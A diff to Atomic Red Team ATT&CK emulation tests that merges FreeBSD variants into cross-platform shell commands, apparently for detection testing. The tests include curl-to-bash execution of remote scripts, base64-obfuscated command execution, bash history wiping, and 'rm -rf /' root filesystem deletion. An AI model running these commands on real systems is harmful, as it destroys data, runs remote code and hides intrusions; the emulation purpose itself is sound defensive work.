diff --git a/atomics/T1059.004/T1059.004.yaml b/atomics/T1059.004/T1059.004.yaml index 0bfba134..b2e09a46 100644 --- a/atomics/T1059.004/T1059.004.yaml +++ b/atomics/T1059.004/T1059.004.yaml @@ -158,23 +158,10 @@ atomic_tests: name: sh elevation_required: false command: | - ART=$(echo -n "id" |base64 -w 0) + [ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d" + ART=$(echo -n "id" | $encodecmd) echo "\$ART=$ART" - echo -n "$ART" |base64 -d |/bin/bash - unset ART -- name: Obfuscated command line scripts (freebsd) - auto_generated_guid: 5dc1d9dd-f396-4420-b985-32b1c4f79062 - description: | - An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to bash, which results in the id command being executed. - supported_platforms: - - linux - executor: - name: sh - elevation_required: false - command: | - ART=$(echo -n "id" |b64encode -r -) - echo "\$ART=$ART" - echo -n "$ART" |b64decode -r |/bin/sh + echo -n "$ART" | $decodecmd |/bin/bash unset ART - name: Change login shell auto_generated_guid: c7ac59cb-13cc-4622-81dc-6d2fee9bfac7 @@ -192,56 +179,19 @@ atomic_tests: executor: name: bash elevation_required: true - command: | - useradd -s /bin/bash art + command: | + [ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art cat /etc/passwd |grep ^art chsh -s /bin/sh art cat /etc/passwd |grep ^art cleanup_command: | - userdel art -- name: Change login shell (freebsd) - auto_generated_guid: 33b68b9b-4988-4caf-9600-31b7bf04227c - description: | - An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/sh shell, changes the users shell to sh, then deletes the art user. - supported_platforms: - - linux - dependencies: - - description: | - chsh - change login shell, must be installed - prereq_command: | - if [ -f /usr/bin/chsh ]; then echo "exit 0"; else echo "exit 1"; exit 1; fi - get_prereq_command: | - echo "Automated installer not implemented yet, please install chsh manually" - executor: - name: sh - elevation_required: true - command: | - pw useradd art -g wheel -s /bin/csh - cat /etc/passwd |grep ^art - chsh -s /bin/sh art - cat /etc/passwd |grep ^art - cleanup_command: | - rmuser -y art + [ "$(uname)" = 'FreeBSD' ] && rmuser -y art || userdel art - name: Environment variable scripts auto_generated_guid: bdaebd56-368b-4970-a523-f905ff4a8a51 description: | An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash supported_platforms: - linux - executor: - name: bash - elevation_required: false - command: | - export ART='echo "Atomic Red Team was here... T1059.004"' - echo $ART |/bin/bash - cleanup_command: | - unset ART -- name: Environment variable scripts (freebsd) - auto_generated_guid: 663b205d-2121-48a3-a6f9-8c9d4d87dfee - description: | - An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/sh - supported_platforms: - - linux executor: name: sh elevation_required: false @@ -250,7 +200,6 @@ atomic_tests: echo $ART |/bin/sh cleanup_command: | unset ART - - name: Detecting pipe-to-shell auto_generated_guid: fca246a8-a585-4f28-a2df-6495973976a1 description: | @@ -265,54 +214,20 @@ atomic_tests: dependency_executor_name: bash dependencies: - description: | - Check if running on a Debian based machine. + Check if curl is installed on the machine. prereq_command: | - if grep -iq "debian\|ubuntu\|kali\|mint" /usr/lib/os-release; then echo "Debian"; else echo "NOT Debian"; exit 1; fi if [ -x "$(command -v curl)" ]; then echo "curl is installed"; else echo "curl is NOT installed"; exit 1; fi get_prereq_command: | - apt update && apt install -y curl - executor: - name: bash - elevation_required: false - command: | - cd /tmp - curl -s #{remote_url} - ls -la /tmp/art.txt - curl -s #{remote_url} |bash - ls -la /tmp/art.txt - cleanup_command: | - rm /tmp/art.txt -- name: Detecting pipe-to-shell (freebsd) - auto_generated_guid: 1a06b1ec-0cca-49db-a222-3ebb6ef25632 - description: | - An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage of this BLIND install method and selectively running extra commands in the install script for those who DO pipe to bash and not for those who DO NOT. This test uses curl to download the pipe-to-shell.sh script, the first time without piping it to bash and the second piping it into bash which executes the echo command. - supported_platforms: - - linux - input_arguments: - remote_url: - description: url of remote payload - type: url - default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/pipe-to-shell.sh - dependency_executor_name: sh - dependencies: - - description: | - Check if running on a Debian based machine. - prereq_command: | - if grep -iq "FreeBSD" /etc/os-release; then echo "FreeBSD"; else echo "NOT FreeBSD"; exit 1; fi - if [ -x "$(command -v curl)" ]; then echo "curl is installed"; else echo "curl is NOT installed"; exit 1; fi - get_prereq_command: | - pkg update && pkg install -y curl + which apt && apt update && apt install -y curl || which pkg && pkg update && pkg install -y curl executor: name: sh elevation_required: false command: | cd /tmp - curl -s #{remote_url} - ls -la /tmp/art.txt curl -s #{remote_url} |bash ls -la /tmp/art.txt cleanup_command: | - rm /tmp/art.txt + rm /tmp/art.txt - name: Current kernel information enumeration auto_generated_guid: 3a53734a-9e26-4f4b-ad15-059e767f5f14 description: | diff --git a/atomics/T1070.003/T1070.003.yaml b/atomics/T1070.003/T1070.003.yaml index 9d2225ba..f78e7440 100644 --- a/atomics/T1070.003/T1070.003.yaml +++ b/atomics/T1070.003/T1070.003.yaml @@ -5,43 +5,32 @@ atomic_tests: auto_generated_guid: a934276e-2be5-4a36-93fd-98adbb5bd4fc description: | Clears bash history via rm + input_arguments: + history_path: + description: Bash history path + type: path + default: ~/.bash_history supported_platforms: - linux - macos executor: command: | - rm ~/.bash_history + rm #{history_path} name: sh -- name: Clear sh history (rm) - auto_generated_guid: 448893f8-1d5d-4ae2-9017-7fcd73a7e100 - description: | - Clears sh history via rm - supported_platforms: - - linux - executor: - command: | - rm ~/.sh_history - name: sh - - name: Clear Bash history (echo) auto_generated_guid: cbf506a5-dd78-43e5-be7e-a46b7c7a0a11 description: | Clears bash history via echo + input_arguments: + history_path: + description: Bash history path + type: path + default: ~/.bash_history supported_platforms: - linux executor: command: | - echo "" > ~/.bash_history - name: sh -- name: Clear sh history (echo) - auto_generated_guid: a4d63cb3-9ed9-4837-9480-5bf6b09a6c96 - description: | - Clears sh history via echo - supported_platforms: - - linux - executor: - command: | - echo "" > ~/.sh_history + echo "" > #{history_path} name: sh - name: Clear Bash history (cat dev/null) auto_generated_guid: b1251c35-dcd3-4ea1-86da-36d27b54f31f @@ -50,21 +39,15 @@ atomic_tests: supported_platforms: - linux - macos + input_arguments: + history_path: + description: Bash history path + type: path + default: ~/.bash_history executor: command: | - cat /dev/null > ~/.bash_history + cat /dev/null > #{history_path} name: sh -- name: Clear sh history (cat dev/null) - auto_generated_guid: ecaefd53-6fa4-4781-ba51-d9d6fb94dbdc - description: | - Clears sh history via cat /dev/null - supported_platforms: - - linux - executor: - command: | - cat /dev/null > ~/.sh_history - name: sh - - name: Clear Bash history (ln dev/null) auto_generated_guid: 23d348f3-cc5c-4ba9-bd0a-ae09069f0914 description: | @@ -72,39 +55,29 @@ atomic_tests: supported_platforms: - linux - macos + input_arguments: + history_path: + description: Bash history path + type: path + default: ~/.bash_history executor: command: | - ln -sf /dev/null ~/.bash_history + ln -sf /dev/null #{history_path} name: sh -- name: Clear sh history (ln dev/null) - auto_generated_guid: 3126aa7a-8768-456f-ae05-6ab2d4accfdd - description: | - Clears sh history via a symlink to /dev/null - supported_platforms: - - linux - executor: - command: | - ln -sf /dev/null ~/.sh_history - name: sh - name: Clear Bash history (truncate) auto_generated_guid: 47966a1d-df4f-4078-af65-db6d9aa20739 description: | Clears bash history via truncate supported_platforms: - linux + input_arguments: + history_path: + description: Bash history path + type: path + default: ~/.bash_history executor: command: | - truncate -s0 ~/.bash_history - name: sh -- name: Clear sh history (truncate) - auto_generated_guid: e14d9bb0-c853-4503-aa89-739d5c0a5818 - description: | - Clears sh history via truncate - supported_platforms: - - linux - executor: - command: | - truncate -s0 ~/.sh_history + truncate -s0 #{history_path} name: sh - name: Clear history of a bunch of shells auto_generated_guid: 7e6721df-5f08-4370-9255-f06d8a77af4c @@ -119,21 +92,6 @@ atomic_tests: export HISTFILESIZE=0 history -c name: sh -- name: Clear history of a bunch of shells (freebsd) - auto_generated_guid: 9bf7c8af-5e12-42ea-bf6b-b0348fb9dfb0 - description: | - Clears the history of a bunch of different shell types by setting the history size to zero - supported_platforms: - - linux - executor: - command: | - unset HISTFILE - unset histfile - export HISTFILESIZE=0 - export HISTSIZE=0 - history -c - name: sh - - name: Clear and Disable Bash History Logging auto_generated_guid: 784e4011-bd1a-4ecd-a63a-8feb278512e6 description: | @@ -177,38 +135,15 @@ atomic_tests: prereq_command: | $(getent passwd testuser1 >/dev/null) && $(which sshpass >/dev/null) get_prereq_command: | - /usr/sbin/useradd testuser1 - echo -e 'pwd101!\npwd101!' | passwd testuser1 - (which yum && yum -y install epel-release sshpass)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y sshpass) + [ "$(uname)" = 'FreeBSD' ] && pw useradd testuser1 -g wheel -s /bin/sh || /usr/sbin/useradd testuser1 + [ "$(uname)" = 'FreeBSD' ] && echo 'pwd101!' | pw mod user testuser1 -h 0 || echo -e 'pwd101!\npwd101!' | passwd testuser1 + (which yum && yum -y install epel-release sshpass)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y sshpass)||(which pkg && pkg install -y sshpass) executor: command: | sshpass -p 'pwd101!' ssh testuser1@localhost -T hostname cleanup_command: | - userdel -f testuser1 + [ "$(uname)" = 'FreeBSD' ] && rmuser -y testuser1 || userdel -f testuser1 name: sh - -- name: Disable sh History Logging with SSH -T (freebsd) - auto_generated_guid: ec3f2306-dd19-4c4b-bed7-92d20e9b1dee - description: | - Keeps history clear and stays out of lastlog,wtmp,btmp ssh -T keeps the ssh client from catching a proper TTY, which is what usually gets logged on lastlog - supported_platforms: - - linux - dependencies: - - description: | - Install sshpass and create user account used for excuting - prereq_command: | - $(getent passwd testuser1 >/dev/null) && $(which sshpass >/dev/null) - get_prereq_command: | - pw useradd testuser1 -g wheel -s /bin/sh - echo 'pwd101!' | pw mod user testuser1 -h 0 - (which pkg && pkg install -y sshpass) - executor: - command: | - sshpass -p 'pwd101!' ssh testuser1@localhost -T hostname - cleanup_command: | - rmuser -y testuser1 - name: sh - - name: Prevent Powershell History Logging auto_generated_guid: 2f898b81-3e97-4abb-bc3f-a95138988370 description: | diff --git a/atomics/T1070.004/T1070.004.yaml b/atomics/T1070.004/T1070.004.yaml index 8c3f20a2..999eef9c 100644 --- a/atomics/T1070.004/T1070.004.yaml +++ b/atomics/T1070.004/T1070.004.yaml @@ -173,18 +173,7 @@ atomic_tests: - linux executor: command: | - rm -rf / --no-preserve-root > /dev/null 2> /dev/null - name: bash -- name: Delete Filesystem - FreeBSD - auto_generated_guid: b5aaca7e-a48f-4f1b-8f0f-a27b8f516608 - description: | - This test deletes the entire root filesystem of a FreeBSD system. This technique was used by Amnesia IoT malware to avoid analysis. This test is dangerous and destructive, do NOT use on production equipment. - supported_platforms: - - linux - executor: - command: | - chflags -R 0 / - rm -rf / > /dev/null 2> /dev/null + [ "$(uname)" = 'Linux' ] && rm -rf / --no-preserve-root > /dev/null 2> /dev/null || chflags -R 0 / && rm -rf / > /dev/null 2> /dev/null name: sh - name: Delete Prefetch File auto_generated_guid: 36f96049-0ad7-4a5f-8418-460acaeb92fb diff --git a/atomics/T1074.001/T1074.001.yaml b/atomics/T1074.001/T1074.001.yaml index d057088d..884dee82 100644 --- a/atomics/T1074.001/T1074.001.yaml +++ b/atomics/T1074.001/T1074.001.yaml @@ -26,21 +26,6 @@ atomic_tests: supported_platforms: - linux - macos - input_arguments: - output_file: - description: Location to save downloaded discovery.bat file - type: path - default: /tmp/T1074.001_discovery.log - executor: - command: | - curl -s https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074.001/src/Discovery.sh | bash -s > #{output_file} - name: bash -- name: Stage data from Discovery.sh (freebsd) - auto_generated_guid: 4fca7b49-379d-4493-8890-d6297750fa46 - description: | - Utilize curl to download discovery.sh and execute a basic information gathering shell script - supported_platforms: - - linux input_arguments: output_file: description: Location to save downloaded discovery.bat file @@ -49,14 +34,16 @@ atomic_tests: dependency_executor_name: sh dependencies: - description: | - Check if curl is installed. + Check if curl is installed on the machine. prereq_command: | - if [ ! -x "$(command -v curl)" ]; then exit 1; else exit 0; fi; + if [ -x "$(command -v curl)" ]; then echo "curl is installed"; else echo "curl is NOT installed"; exit 1; fi get_prereq_command: | - (which pkg && pkg install -y curl) + which apt && apt update && apt install -y curl || which pkg && pkg update && pkg install -y curl executor: command: | curl -s https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074.001/src/Discovery.sh | sh -s > #{output_file} + cleanup_command: | + rm #{output_file} name: sh - name: Zip a Folder with PowerShell for Staging in Temp auto_generated_guid: a57fbe4b-3440-452a-88a7-943531ac872a diff --git a/atomics/T1078.003/T1078.003.yaml b/atomics/T1078.003/T1078.003.yaml index 49eda773..f6ff0a92 100644 --- a/atomics/T1078.003/T1078.003.yaml +++ b/atomics/T1078.003/T1078.003.yaml @@ -112,29 +112,11 @@ atomic_tests: name: bash elevation_required: true command: | - useradd --shell /bin/bash --create-home --password $(openssl passwd -1 art) art - su art - whoami - exit + password=$(openssl passwd -1 art) + ([ "$(uname)" = 'Linux' ] && useradd --shell /bin/bash --create-home --password $password art) || (pw useradd art -g wheel -s /bin/sh && (echo $password | pw mod user testuser1 -h 0)) + su art -c "whoami; exit" cleanup_command: | - userdel -r art -- name: Create local account (FreeBSD) - auto_generated_guid: 95158cc9-8f6d-4889-9531-9be3f7f095e0 - description: | - An adversary may wish to create an account with admin privileges to work with. In this test we create a "art" user with the password art, switch to art, execute whoami, exit and delete the art user. - supported_platforms: - - linux - executor: - name: sh - elevation_required: true - command: | - pw useradd art -g wheel -s /bin/sh - echo $(openssl passwd -1 art) | pw mod user testuser1 -h 0 - su art - whoami - exit - cleanup_command: | - rmuser -y art + [ "$(uname)" = 'Linux' ] && userdel art -rf || rmuser -y art - name: Reactivate a locked/expired account (Linux) auto_generated_guid: d2b95631-62d7-45a3-aaef-0972cea97931 description: | diff --git a/atomics/T1087.001/T1087.001.yaml b/atomics/T1087.001/T1087.001.yaml index 95c8de0d..0d31078d 100644 --- a/atomics/T1087.001/T1087.001.yaml +++ b/atomics/T1087.001/T1087.001.yaml @@ -100,30 +100,12 @@ atomic_tests: sudo apt-get install login; exit 1; executor: command: | - lastlog > #{output_file} + [ "$(uname)" = 'FreeBSD' ] && cmd="lastlogin" || cmd="lastlog" + $cmd > #{output_file} cat #{output_file} cleanup_command: | rm -f #{output_file} name: sh -- name: Show if a user account has ever logged in remotely (freebsd) - auto_generated_guid: 0f73418f-d680-4383-8a24-87bc97fe4e35 - description: | - Show if a user account has ever logged in remotely - supported_platforms: - - linux - input_arguments: - output_file: - description: Path where captured results will be placed - type: path - default: /tmp/T1087.001.txt - executor: - command: | - lastlogin > #{output_file} - cat #{output_file} - cleanup_command: | - rm -f #{output_file} - name: sh - - name: Enumerate users and groups auto_generated_guid: e6f36545-dc1e-47f0-9f48-7f730f54a02e description: | diff --git a/atomics/T1090.003/T1090.003.yaml b/atomics/T1090.003/T1090.003.yaml index 93168879..f8ff38a0 100644 --- a/atomics/T1090.003/T1090.003.yaml +++ b/atomics/T1090.003/T1090.003.yaml @@ -74,7 +74,7 @@ atomic_tests: stop-process -name "tor" | out-null name: powershell elevation_required: false -- name: Tor Proxy Usage - Debian/Ubuntu +- name: Tor Proxy Usage - Debian/Ubuntu/FreeBSD auto_generated_guid: 5ff9d047-6e9c-4357-b39b-5cf89d9b59c7 description: | This test is designed to launch the tor proxy service, which is what is utilized in the background by the Tor Browser and other applications with add-ons in order to provide onion routing functionality. @@ -88,12 +88,12 @@ atomic_tests: prereq_command: | if [ -x "$(command -v tor --version)" ]; then exit 0; else exit 1; fi get_prereq_command: | - sudo apt-get -y install tor + (which apt && sudo apt-get -y install tor) || (which pkg && pkg install -y tor) executor: command: | - sudo systemctl start tor + [ "$(uname)" = 'FreeBSD' ] && sysrc tor_enable="YES" && service tor start || sudo systemctl start tor cleanup_command: | - sudo systemctl stop tor + [ "$(uname)" = 'FreeBSD' ] && service tor stop && sysrc -x tor_enable || sudo systemctl stop tor name: sh elevation_required: true - name: Tor Proxy Usage - MacOS @@ -118,27 +118,3 @@ atomic_tests: cleanup_command: | killall tor > /dev/null 2>&1 name: sh -- name: Tor Proxy Usage - FreeBSD - auto_generated_guid: 550ec67d-a99e-408b-816a-689271b27d2a - description: | - This test is designed to launch the tor proxy service, which is what is utilized in the background by the Tor Browser and other applications with add-ons in order to provide onion routing functionality. - Upon successful execution, the tor proxy service will be launched. - supported_platforms: - - linux - dependency_executor_name: sh - dependencies: - - description: | - Tor must be installed on the machine - prereq_command: | - if [ -x "$(command -v tor --version)" ]; then exit 0; else exit 1; fi - get_prereq_command: | - pkg install -y tor - executor: - command: | - sysrc tor_enable="YES" - service tor start - cleanup_command: | - service tor stop - sysrc -x tor_enable - name: sh - elevation_required: true